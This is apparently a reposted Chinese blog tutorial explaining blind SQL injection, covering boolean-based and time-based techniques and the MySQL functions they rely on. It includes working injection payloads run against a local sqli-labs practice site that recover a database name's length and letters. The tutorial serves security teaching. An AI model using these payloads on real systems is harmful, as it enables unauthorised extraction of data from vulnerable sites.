什么是盲注
盲注即为页面关闭错误回显,在页面中的不到报错信息时使用的注入手法。
盲注的姿势
盲注主要分为两种:
一是基于布尔的盲注,这种手法是利用布尔的真假,查询语句若为真,页面则会正常显示,若为假,则会不正常,一般表现为无回显
当为真时:owasp top 10 --sql注入之盲注当为假时:owasp top 10 --sql注入之盲注
二是基于时间的盲注,这种主要用于页面在无论我们输入什么查询语句都会只显示同一个画面。利用原理是让系统延时,如果我们查询的是正确的就延迟一段时间输出,否则就正常时间输出(也可以反过来)
当为真时:owasp top 10 --sql注入之盲注当为假时:owasp top 10 --sql注入之盲注
盲注所需要的利用的函数
布尔盲注主要是利用查询语句判断数据库中的信息,其主要利用的函数为:
length(str) 返回str的长度 例如length(‘admin’) 返回5

substr(str,pos,len) 返回str的pos位置开始截取len长度的字符串 例如substr(‘admin’,1,3) 返回adm,与substr()相同的还有substring(),mid(),lift(),right()等函数

ascii© 返回c的ascii值 例如ascii(a) 返回97(小写字母a的ascii值为97)

if(condition,true,false) 若condition为真,这执行true语句,若为假,则执行false语句,例如 if(1>2,1,0) 则会返回0

sleep(sec) 使程序延长sec秒 例如sleep(5)则会延长五秒
布尔盲注简单演示
http://127.0.0.1/sqli/Less-8/?id=1 页面正常
owasp top 10 --sql注入之盲注http://127.0.0.1/sqli/Less-8/?id=1’ 页面错误 确定有注入 为盲注
owasp top 10 --sql注入之盲注http://127.0.0.1/sqli/Less-8/?id=1’ and length(database())>10 --+ 页面错误确定数据库名字长度不大于10
owasp top 10 --sql注入之盲注http://127.0.0.1/sqli/Less-8/?id=1‘’ and length(database())=8 --+ 页面正常,确定数据库名字长度等于8
owasp top 10 --sql注入之盲注http://127.0.0.1/sqli/Less-8/?id=1’ and ascii(substr(database(),1,1))=115 --+页面正常,确定数据库名字第一个字母为s
owasp top 10 --sql注入之盲注以此类推,在substr()中替换语句即可一个一个地推敲出想要内容。
时间盲注简单演示
时间盲注与布尔盲注手法类似,这里就简单演示一下查询数据库名字的长度,后续查询参照布尔盲注
http://127.0.0.1/sqli/Less-9/?id=1’ and if(length(database())>10,sleep(5),1) --+判断数据库名字长度是否大于10,大于就延时5秒,不大于则正常输出,可以看到是正常输出(红框内容)
owasp top 10 --sql注入之盲注http://127.0.0.1/sqli/Less-9/?id=1’ and if(length(database())=8,sleep(5),1) --+判断数据库名字长度是否等于8,等于则延迟5秒输出,不等于就正常输出,可以看到输出时间大于五秒(红框内容),所以有延迟。确定长度大于8
owasp top 10 --sql注入之盲注附语
虽然盲注手工做起来极其繁琐且可由工具代替,但是原理还是要掌握滴,不然就要变成脚本老子咯~

相关文章:

  • 2021-12-02
  • 2022-12-23
  • 2022-12-23
  • 2021-06-16
  • 2021-10-15
  • 2022-12-23
  • 2022-12-23
  • 2022-01-21
猜你喜欢
  • 2022-12-23
  • 2022-01-02
  • 2021-06-29
  • 2021-05-07
  • 2022-12-23
  • 2022-12-23
  • 2022-12-23
相关资源
相似解决方案